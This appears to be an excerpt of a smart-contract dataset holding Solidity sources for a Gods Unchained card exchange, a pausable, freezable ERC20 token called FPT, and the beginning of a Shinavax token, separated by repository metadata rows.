require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract CardExchange {
using SafeMath for uint256;
GodsUnchainedCards constant public godsUnchainedCards = GodsUnchainedCards(0x629cDEc6aCc980ebeeBeA9E5003bcD44DB9fc5cE);
mapping (address => mapping(uint256 => BuyOrder)) public buyOrdersById;
mapping (address => mapping(uint256 => SellOrder)) public sellOrdersById;
string private constant domain = "EIP712Domain(string name)";
bytes32 public constant domainTypeHash = keccak256(abi.encodePacked(domain));
bytes32 private domainSeparator = keccak256(abi.encode(domainTypeHash, keccak256("Sell Gods Unchained cards on gu.cards")));
string private constant sellOrdersForTokenIdsType = "SellOrders(uint256[] ids,uint256[] tokenIds,uint256[] prices)";
bytes32 public constant sellOrdersForTokenIdsTypeHash = keccak256(abi.encodePacked(sellOrdersForTokenIdsType));
string private constant sellOrdersForProtosAndQualitiesType = "SellOrders(uint256[] ids,uint256[] protos,uint256[] qualities,uint256[] prices)";
bytes32 public constant sellOrdersForProtosAndQualitiesTypeHash = keccak256(abi.encodePacked(sellOrdersForProtosAndQualitiesType));
uint256 public lockedInFunds;
bool public paused;
uint256 public exchangeFee;
address payable public owner;
address payable private nextOwner;
event BuyOrderCreated(uint256 id);
event SellOrderCreated(uint256 id);
event BuyOrderCanceled(uint256 id);
event SellOrderCanceled(uint256 id);
event Settled(uint256 buyOrderId, uint256 sellOrderId);
struct BuyOrder {
uint256 id;
uint256 price;
uint256 fee;
uint16 proto;
uint8 quality;
address payable buyer;
bool settled;
bool canceled;
}
struct SellOrder {
uint256 id;
uint256 tokenId;
uint16 proto;
uint8 quality;
uint256 price;
address payable seller;
bool settled;
bool canceled;
bool tokenIsSet;
}
modifier onlyOwner {
require(msg.sender == owner, "Function called by non-owner.");
_;
}
modifier onlyUnpaused {
require(paused == false, "Exchange is paused.");
_;
}
constructor() public {
owner = msg.sender;
}
function createBuyOrders(uint256[] calldata ids, uint256[] calldata protos, uint256[] calldata prices, uint256[] calldata qualities) onlyUnpaused external payable {
_createBuyOrders(ids, protos, prices, qualities);
}
function createBuyOrdersAndSettle(uint256[] calldata orderData, uint256[] calldata sellOrderIds, uint256[] calldata tokenIds, address[] calldata sellOrderAddresses) onlyUnpaused external payable {
uint256[] memory buyOrderIds = _unpackOrderData(orderData, 0);
_createBuyOrders(buyOrderIds,
_unpackOrderData(orderData, 1),
_unpackOrderData(orderData, 3),
_unpackOrderData(orderData, 2));
uint256 length = tokenIds.length;
for (uint256 i = 0; i < length; i++) {
_updateSellOrderTokenId(sellOrdersById[sellOrderAddresses[i]][sellOrderIds[i]], tokenIds[i]);
_settle(buyOrdersById[msg.sender][buyOrderIds[i]],
sellOrdersById[sellOrderAddresses[i]][sellOrderIds[i]]);
}
}
function createBuyOrderAndSettleWithOffChainSellOrderForTokenIds(uint256[] calldata orderData, address sellOrderAddress, uint256[] calldata sellOrderIds, uint256[] calldata sellOrderTokenIds, uint256[] calldata sellOrderPrices, uint8 v, bytes32 r, bytes32 s) onlyUnpaused external payable {
_ensureBuyOrderPrice(orderData[2]);
_createBuyOrder(orderData[0], uint16(orderData[1]), orderData[2], uint8(orderData[3]));
_createOffChainSignedSellOrdersForTokenIds(sellOrderIds, sellOrderTokenIds, sellOrderPrices, v, r, s);
_settle(buyOrdersById[msg.sender][orderData[0]], sellOrdersById[sellOrderAddress][orderData[4]]);
}
function createBuyOrderAndSettleWithOffChainSellOrderForProtosAndQualities(uint256 buyOrderId, uint16 buyOrderProto, uint256 buyOrderPrice, uint8 buyOrderQuality, uint256 sellOrderId, address sellOrderAddress, uint256 tokenId, uint256[] calldata sellOrderData, uint8 v, bytes32 r, bytes32 s) onlyUnpaused external payable {
_ensureBuyOrderPrice(buyOrderPrice);
_createBuyOrder(buyOrderId, buyOrderProto, buyOrderPrice, buyOrderQuality);
_createOffChainSignedSellOrdersForProtosAndQualities(_unpackOrderData(sellOrderData, 0),
_unpackOrderData(sellOrderData, 1),
_unpackOrderData(sellOrderData, 2),
_unpackOrderData(sellOrderData, 3),
v,
r,
s);
_updateSellOrderTokenId(sellOrdersById[sellOrderAddress][sellOrderId], tokenId);
_settle(buyOrdersById[msg.sender][buyOrderId], sellOrdersById[sellOrderAddress][sellOrderId]);
}
function _ensureBuyOrderPrice(uint256 price) private view {
require(msg.value >= (price.add(price.mul(exchangeFee).div(1000))) &&
price > 0,
"Amount sent to the contract needs to cover at least this buy order's price and fee (and needs to be bigger than 0).");
}
function _unpackOrderData(uint256[] memory orderData, uint256 part) private pure returns (uint256[] memory data) {
uint256 length = orderData.length/4;
uint256[] memory returnData = new uint256[](length);
for (uint256 i = 0; i < length; i++) {
returnData[i] = orderData[i*4+part];
}
return returnData;
}
function _createBuyOrders(uint256[] memory ids, uint256[] memory protos, uint256[] memory prices, uint256[] memory qualities) private {
uint256 totalAmountToPay = 0;
uint256 length = ids.length;
for (uint256 i = 0; i < length; i++) {
_createBuyOrder(ids[i], uint16(protos[i]), prices[i], uint8(qualities[i]));
totalAmountToPay = totalAmountToPay.add(prices[i].add(prices[i].mul(exchangeFee).div(1000)));
}
require(msg.value >= totalAmountToPay && msg.value > 0, "ETH sent to the contract is insufficient (prices + exchange fees)!");
}
function _createBuyOrder(uint256 id, uint16 proto, uint256 price, uint8 quality) private {
BuyOrder storage buyOrder = buyOrdersById[msg.sender][id];
require(buyOrder.id == 0, "Buy order with this ID does already exist!");
buyOrder.id = id;
buyOrder.proto = proto;
buyOrder.price = price;
buyOrder.fee = price.mul(exchangeFee).div(1000);
buyOrder.quality = quality;
buyOrder.buyer = msg.sender;
lockedInFunds = lockedInFunds.add(buyOrder.price.add(buyOrder.fee));
emit BuyOrderCreated(buyOrder.id);
}
function cancelBuyOrders(uint256[] calldata ids) external {
uint256 length = ids.length;
for (uint256 i = 0; i < length; i++) {
BuyOrder storage buyOrder = buyOrdersById[msg.sender][ids[i]];
require(buyOrder.settled == false, "Order has already been settled!");
require(buyOrder.canceled == false, "Order has already been canceled!");
require(buyOrder.buyer == msg.sender || owner == msg.sender, "Orders can only be canceled from the address they have been created from (or the owner)!");
buyOrder.canceled = true;
lockedInFunds = lockedInFunds.sub(buyOrder.price.add(buyOrder.fee));
buyOrder.buyer.transfer(buyOrder.price.add(buyOrder.fee));
emit BuyOrderCanceled(buyOrder.id);
}
}
function createSellOrdersForTokenIds(uint256[] calldata ids, uint256[] calldata prices, uint256[] calldata tokenIds) onlyUnpaused external {
_createSellOrdersForTokenIds(ids, prices, tokenIds, msg.sender);
}
function _createSellOrdersForTokenIds(uint256[] memory ids, uint256[] memory prices, uint256[] memory tokenIds, address payable seller) private {
uint256 length = ids.length;
for (uint256 i = 0; i < length; i++) {
_createSellOrderForTokenId(ids[i], prices[i], tokenIds[i], seller);
}
}
function _createSellOrderForTokenId(uint256 id, uint256 price, uint256 tokenId, address seller) private {
_createSellOrder(id,
price,
tokenId,
godsUnchainedCards.cardProtos(tokenId),
godsUnchainedCards.cardQualities(tokenId),
seller,
true);
}
function createSellOrdersForProtosAndQualities(uint256[] calldata ids, uint256[] calldata prices, uint256[] calldata protos, uint256[] calldata qualities) onlyUnpaused external {
_createSellOrdersForProtosAndQualities(ids, prices, protos, qualities, msg.sender);
}
function _createSellOrdersForProtosAndQualities(uint256[] memory ids, uint256[] memory prices, uint256[] memory protos, uint256[] memory qualities, address payable seller) private {
uint256 length = ids.length;
for (uint256 i = 0; i < length; i++) {
_createSellOrderForProtoAndQuality(ids[i], prices[i], protos[i], qualities[i], seller);
}
}
function _createSellOrderForProtoAndQuality(uint256 id, uint256 price, uint256 proto, uint256 quality, address seller) private {
_createSellOrder(id,
price,
0,
proto,
quality,
seller,
false);
}
function _createSellOrder(uint256 id, uint256 price, uint256 tokenId, uint256 proto, uint256 quality, address seller, bool tokenIsSet) private {
address payable payableSeller = address(uint160(seller));
require(price > 0, "Sell order price needs to be bigger than 0.");
SellOrder storage sellOrder = sellOrdersById[seller][id];
require(sellOrder.id == 0, "Sell order with this ID does already exist!");
require(godsUnchainedCards.isApprovedForAll(payableSeller, address(this)), "Operator approval missing!");
sellOrder.id = id;
sellOrder.price = price;
sellOrder.proto = uint16(proto);
sellOrder.quality = uint8(quality);
sellOrder.seller = payableSeller;
if(tokenIsSet) { _updateSellOrderTokenId(sellOrder, tokenId); }
emit SellOrderCreated(sellOrder.id);
}
function _updateSellOrderTokenId(SellOrder storage sellOrder, uint256 tokenId) private {
if(sellOrder.tokenIsSet ||
sellOrder.canceled ||
sellOrder.settled) { return; }
require(godsUnchainedCards.ownerOf(tokenId) == sellOrder.seller, "Seller is not owner of this token!");
require(sellOrder.proto == godsUnchainedCards.cardProtos(tokenId) &&
sellOrder.quality == godsUnchainedCards.cardQualities(tokenId)
, "Token does not correspond to sell order proto/quality!");
sellOrder.tokenIsSet = true;
sellOrder.tokenId = tokenId;
}
function createSellOrdersForTokenIdsAndSettle(uint256[] calldata sellOrderIds, address[] calldata sellOrderAddresses, uint256[] calldata sellOrderPrices, uint256[] calldata sellOrderTokenIds, uint256[] calldata buyOrderIds, address[] calldata buyOrderAddresses) onlyUnpaused external {
_createSellOrdersForTokenIds(sellOrderIds, sellOrderPrices, sellOrderTokenIds, msg.sender);
_settle(buyOrderIds, buyOrderAddresses, sellOrderIds, sellOrderAddresses);
}
function createOffChainSignedSellOrdersForTokenIds(uint256[] calldata sellOrderIds, uint256[] calldata sellOrderTokenIds, uint256[] calldata sellOrderPrices, uint8 v, bytes32 r, bytes32 s) onlyUnpaused external {
_createOffChainSignedSellOrdersForTokenIds(sellOrderIds, sellOrderTokenIds, sellOrderPrices, v, r, s);
}
function _createOffChainSignedSellOrdersForTokenIds(uint256[] memory sellOrderIds, uint256[] memory sellOrderTokenIds, uint256[] memory sellOrderPrices, uint8 v, bytes32 r, bytes32 s) private {
uint256 length = sellOrderIds.length;
address seller = _recoverForTokenIds(sellOrderIds, sellOrderTokenIds, sellOrderPrices, v, r, s);
for (uint256 i = 0;
i < length;
i++) {
if(sellOrdersById[seller][sellOrderIds[i]].id == 0) {
_createSellOrderForTokenId(sellOrderIds[i],
sellOrderPrices[i],
sellOrderTokenIds[i],
seller);
}
}
}
function createSellOrdersForProtosAndQualitiesAndSettle(uint256[] calldata sellOrderData, uint256[] calldata tokenIds, uint256[] calldata buyOrderIds, address[] calldata buyOrderAddresses) onlyUnpaused external {
uint256[] memory sellOrderIds = _unpackOrderData(sellOrderData, 0);
_createSellOrdersForProtosAndQualities(sellOrderIds,
_unpackOrderData(sellOrderData, 3),
_unpackOrderData(sellOrderData, 1),
_unpackOrderData(sellOrderData, 2),
msg.sender);
uint256 length = buyOrderIds.length;
for (uint256 i = 0; i < length; i++) {
_updateSellOrderTokenId(sellOrdersById[msg.sender][sellOrderIds[i]], tokenIds[i]);
_settle(buyOrdersById[buyOrderAddresses[i]][buyOrderIds[i]], sellOrdersById[msg.sender][sellOrderIds[i]]);
}
}
function createOffChainSignedSellOrdersForProtosAndQualities(uint256[] calldata sellOrderIds, uint256[] calldata sellOrderProtos, uint256[] calldata sellOrderQualities, uint256[] calldata sellOrderPrices, uint8 v, bytes32 r, bytes32 s) onlyUnpaused external {
_createOffChainSignedSellOrdersForProtosAndQualities(sellOrderIds, sellOrderProtos, sellOrderQualities, sellOrderPrices, v, r, s);
}
function _createOffChainSignedSellOrdersForProtosAndQualities(uint256[] memory sellOrderIds, uint256[] memory sellOrderProtos, uint256[] memory sellOrderQualities, uint256[] memory sellOrderPrices, uint8 v, bytes32 r, bytes32 s) private {
uint256 length = sellOrderIds.length;
address seller = _recoverForProtosAndQualities(sellOrderIds, sellOrderProtos, sellOrderQualities, sellOrderPrices, v, r, s);
for (uint256 i = 0;
i < length;
i++) {
if(sellOrdersById[seller][sellOrderIds[i]].id == 0) {
_createSellOrderForProtoAndQuality(sellOrderIds[i],
sellOrderPrices[i],
sellOrderProtos[i],
sellOrderQualities[i],
seller);
}
}
}
function recoverSellOrderForTokenIds(uint256[] calldata ids, uint256[] calldata tokenIds, uint256[] calldata prices, uint8 v, bytes32 r, bytes32 s) external view returns (address) {
return _recoverForTokenIds(ids, tokenIds, prices, v, r, s);
}
function _recoverForTokenIds(uint256[] memory ids, uint256[] memory tokenIds, uint256[] memory prices, uint8 v, bytes32 r, bytes32 s) private view returns (address) {
return ecrecover(hashSellOrdersForTokenIds(ids, tokenIds, prices), v, r, s);
}
function hashSellOrdersForTokenIds(uint256[] memory ids, uint256[] memory tokenIds, uint256[] memory prices) private view returns (bytes32){
return keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
keccak256(abi.encode(sellOrdersForTokenIdsTypeHash,
keccak256(abi.encodePacked(ids)),
keccak256(abi.encodePacked(tokenIds)),
keccak256(abi.encodePacked(prices))))));
}
function recoverSellOrderForProtosAndQualities(uint256[] calldata ids, uint256[] calldata protos, uint256[] calldata qualities, uint256[] calldata prices, uint8 v, bytes32 r, bytes32 s) external view returns (address) {
return _recoverForProtosAndQualities(ids, protos, qualities, prices, v, r, s);
}
function _recoverForProtosAndQualities(uint256[] memory ids, uint256[] memory protos, uint256[] memory qualities, uint256[] memory prices, uint8 v, bytes32 r, bytes32 s) private view returns (address) {
return ecrecover(hashSellOrdersForProtosAndQualitiesIds(ids, protos, qualities, prices), v, r, s);
}
function hashSellOrdersForProtosAndQualitiesIds(uint256[] memory ids, uint256[] memory protos, uint256[] memory qualities, uint256[] memory prices) private view returns (bytes32){
return keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
keccak256(abi.encode(sellOrdersForProtosAndQualitiesTypeHash,
keccak256(abi.encodePacked(ids)),
keccak256(abi.encodePacked(protos)),
keccak256(abi.encodePacked(qualities)),
keccak256(abi.encodePacked(prices))))));
}
function cancelSellOrders(uint256[] calldata ids) onlyUnpaused external {
uint256 length = ids.length;
for (uint256 i = 0; i < length; i++) {
SellOrder storage sellOrder = sellOrdersById[msg.sender][ids[i]];
if(sellOrder.id == 0) { sellOrder.id = ids[i]; }
require(sellOrder.canceled == false, "Order has already been canceled!");
require(sellOrder.settled == false, "Order has already been settled!");
require(sellOrder.seller == msg.sender || owner == msg.sender, "Orders can only be canceled from the address they have been created from (or the owner)!");
sellOrder.canceled = true;
emit SellOrderCanceled(sellOrder.id);
}
}
function settle(uint256[] calldata buyOrderIds, address[] calldata buyOrderAddresses, uint256[] calldata sellOrderIds, address[] calldata sellOrderAddresses) onlyUnpaused external {
_settle(buyOrderIds, buyOrderAddresses, sellOrderIds, sellOrderAddresses);
}
function settleWithToken(uint256[] calldata buyOrderIds, address[] calldata buyOrderAddresses, uint256[] calldata sellOrderIds, address[] calldata sellOrderAddresses, uint256[] calldata tokenIds) onlyUnpaused external {
uint256 length = tokenIds.length;
for (uint256 i = 0; i < length; i++) {
_updateSellOrderTokenId(sellOrdersById[sellOrderAddresses[i]][sellOrderIds[i]],
tokenIds[i]);
_settle(buyOrdersById[buyOrderAddresses[i]][buyOrderIds[i]], sellOrdersById[sellOrderAddresses[i]][sellOrderIds[i]]);
}
}
function _settle(uint256[] memory buyOrderIds, address[] memory buyOrderAddresses, uint256[] memory sellOrderIds, address[] memory sellOrderAddresses) private {
uint256 length = buyOrderIds.length;
for (uint256 i = 0; i < length; i++) {
_settle(buyOrdersById[buyOrderAddresses[i]][buyOrderIds[i]],
sellOrdersById[sellOrderAddresses[i]][sellOrderIds[i]]);
}
}
function _settle(BuyOrder storage buyOrder, SellOrder storage sellOrder) private {
if(sellOrder.settled || sellOrder.canceled ||
buyOrder.settled || buyOrder.canceled) { return; }
uint256 proto = godsUnchainedCards.cardProtos(sellOrder.tokenId);
uint256 quality = godsUnchainedCards.cardQualities(sellOrder.tokenId);
require(buyOrder.price >= sellOrder.price, "Sell order exceeds what the buyer is willing to pay!");
require(buyOrder.proto == proto && sellOrder.proto == proto, "Order protos are not matching!");
require(buyOrder.quality == quality && sellOrder.quality == quality, "Order qualities are not matching!");
sellOrder.settled = buyOrder.settled = true;
lockedInFunds = lockedInFunds.sub(buyOrder.price.add(buyOrder.fee));
godsUnchainedCards.transferFrom(sellOrder.seller, buyOrder.buyer, sellOrder.tokenId);
sellOrder.seller.transfer(sellOrder.price);
emit Settled(buyOrder.id, sellOrder.id);
}
function setPausedTo(bool value) external onlyOwner {
paused = value;
}
function setExchangeFee(uint256 value) external onlyOwner {
exchangeFee = value;
}
function withdraw(address payable beneficiary, uint256 amount) external onlyOwner {
require(lockedInFunds.add(amount) <= address(this).balance, "Not enough funds. Funds are partially locked from unsettled buy orders.");
beneficiary.transfer(amount);
}
function approveNextOwner(address payable _nextOwner) external onlyOwner {
require(_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require(msg.sender == nextOwner, "The new owner has to accept the previously set new owner.");
owner = nextOwner;
}
function kill() external onlyOwner {
require(lockedInFunds == 0, "All orders need to be settled or refundeded before self-destruct.");
selfdestruct(owner);
}
function () external payable {}
}
| 164,026 | 1,768 |
b8a6fde84722fc31e393806536a4909d2e6c6348255fe57da7488741050ee916
| 19,050 |
.sol
|
Solidity
| false |
316275714
|
giacomofi/Neural_Smart_Ponzi_Recognition
|
a26fb280753005b9b9fc262786d5ce502b3f8cd3
|
Not_Smart_Ponzi_Source_Code/0x084da5a9c0e3f086532b98d8568432349b89d9df.sol
| 3,285 | 12,716 |
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
newOwner = address(0);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyNewOwner() {
require(msg.sender != address(0));
require(msg.sender == newOwner);
_;
}
function isOwner(address account) public view returns (bool) {
if(account == owner){
return true;
}
else {
return false;
}
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public onlyNewOwner returns(bool) {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract PauserRole is Ownable{
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender)|| isOwner(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function removePauser(address account) public onlyOwner {
_removePauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract FPT is ERC20Detailed, ERC20Pausable {
struct LockInfo {
uint256 _releaseTime;
uint256 _amount;
}
address public implementation;
mapping (address => LockInfo[]) public timelockList;
mapping (address => bool) public frozenAccount;
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
event Lock(address indexed holder, uint256 value, uint256 releaseTime);
event Unlock(address indexed holder, uint256 value);
modifier notFrozen(address _holder) {
require(!frozenAccount[_holder]);
_;
}
constructor() ERC20Detailed("FUUPAY", "FPT", 18) public {
_mint(msg.sender, 1000000000 * (10 ** 18));
}
function balanceOf(address owner) public view returns (uint256) {
uint256 totalBalance = super.balanceOf(owner);
if(timelockList[owner].length >0){
for(uint i=0; i<timelockList[owner].length;i++){
totalBalance = totalBalance.add(timelockList[owner][i]._amount);
}
}
return totalBalance;
}
function transfer(address to, uint256 value) public notFrozen(msg.sender) returns (bool) {
if (timelockList[msg.sender].length > 0) {
_autoUnlock(msg.sender);
}
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public notFrozen(from) returns (bool) {
if (timelockList[from].length > 0) {
_autoUnlock(from);
}
return super.transferFrom(from, to, value);
}
function freezeAccount(address holder) public onlyPauser returns (bool) {
require(!frozenAccount[holder]);
require(timelockList[holder].length == 0);
frozenAccount[holder] = true;
emit Freeze(holder);
return true;
}
function unfreezeAccount(address holder) public onlyPauser returns (bool) {
require(frozenAccount[holder]);
frozenAccount[holder] = false;
emit Unfreeze(holder);
return true;
}
function transferWithLock(address holder, uint256 value, uint256 releaseTime) public onlyPauser returns (bool) {
_transfer(msg.sender, holder, value);
_lock(holder,value,releaseTime);
return true;
}
function unlock(address holder, uint256 idx) public onlyPauser returns (bool) {
require(timelockList[holder].length > idx, "There is not lock info.");
_unlock(holder,idx);
return true;
}
function _lock(address holder, uint256 value, uint256 releaseTime) internal returns(bool) {
_balances[holder] = _balances[holder].sub(value);
timelockList[holder].push(LockInfo(releaseTime, value));
emit Lock(holder, value, releaseTime);
return true;
}
function _unlock(address holder, uint256 idx) internal returns(bool) {
LockInfo storage lockinfo = timelockList[holder][idx];
uint256 releaseAmount = lockinfo._amount;
delete timelockList[holder][idx];
timelockList[holder][idx] = timelockList[holder][timelockList[holder].length.sub(1)];
timelockList[holder].length -=1;
emit Unlock(holder, releaseAmount);
_balances[holder] = _balances[holder].add(releaseAmount);
return true;
}
function _autoUnlock(address holder) internal returns(bool) {
for(uint256 idx =0; idx < timelockList[holder].length ; idx++) {
if (timelockList[holder][idx]._releaseTime <= now) {
// If lockupinfo was deleted, loop restart at same position.
if(_unlock(holder, idx)) {
idx -=1;
}
}
}
return true;
}
}
| 339,514 | 1,769 |
18513e64e322a9219c5ef9918e06bceb8382431e99e24d7f757bfc358c6c3cd9
| 21,553 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/d3/d3bfbe18c8536100e8a93def0ae30f58b860336f_Shinavax.sol
| 2,911 | 11,042 |
// telegram : https://t.me/Shinavax
// https://twitter.com/shinavaxglobal/status/1496900594405023827?s=21
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
